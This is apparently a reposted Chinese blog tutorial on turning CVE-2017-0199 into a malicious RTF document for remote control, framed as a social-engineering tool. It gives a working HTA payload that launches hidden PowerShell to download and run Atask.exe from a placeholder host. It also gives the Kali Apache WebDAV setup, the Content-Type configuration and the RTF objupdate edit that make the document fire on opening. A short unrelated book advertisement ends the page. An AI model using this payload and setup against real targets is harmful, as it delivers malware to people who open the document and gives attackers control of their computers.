内容简介:CVE-2017-0199 Kali做服务器 远控结合 Doc社工神器
Apache利用的是kalia
Kali下2个路径
web 路径 /var/www/html
apace 配置文件路径 /etc/apache2/apache2.conf
准备文件2个
1:poc
POC的内容:
<script> poc=new ActiveXObject("WScript.Shell"); poc.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://ip_url/Atask.exe\', \'c:/windows/temp/Atask.exe\'); c:/windows/temp/Atask.exe', 0);window.close(); </script>
2:word 文档
随意 例如: a.docx
一:KaLi 开启DAV
a2enmod dav a2enmod dav_fs a2enmod dav_lock a2enmod headers service apache2 restart
二:Kali服务器上操作
mv a.docx /var/www/html/a.rtf
三:本机电脑客户端操作
新建word => 插入 => 对象 -> 文件名字 http://ip/a.rtf 勾选 连接到文件 保存成 rtf文件 (b.rtf)
四:Kali服务器上 删除 /var/www/html/a.rtf 文件,把一开始准备的 poc 复制成 a.rtf
mv poc /var/www/html/a.rtf
之后 修改Apache配置文件 vim /etc/apache2/apache2.conf
增加如下内容:
<Directory /> Dav on </Directory> <Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory>
保存 service apache2 restart
五:客户端
用文本编辑器 打开 b.rtf 找到: `\object\objautlink\rsltpict` 替换为 `\object\objautlink\objupdate\rsltpict`:
保存。。。制作完成
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
WWW信息体系结构(影印版第2版)
Louis Rosenfeld / 清华大学出版社 / 2003-6 / 49.8
如今的网站和内联网已经变得比以前越来越大,越来越有价值,而且越来越复杂,同时其用户也变得更忙,也更加不能容忍错误的发生。数目庞大的信息、快速的变化、新兴的技术和公司策略是设计师、信息体系结构构建师和网站管理员必须面对的事情,而这些已经让某些网让看起来像是个快速增长却规划很差的城市——到处都是路,却无法导航。规划精良的信息体系结构当前正是最关键性的。 本书介绍的是如何使用美学和机械学的理念创建......一起来看看 《WWW信息体系结构(影印版第2版)》 这本书的介绍吧!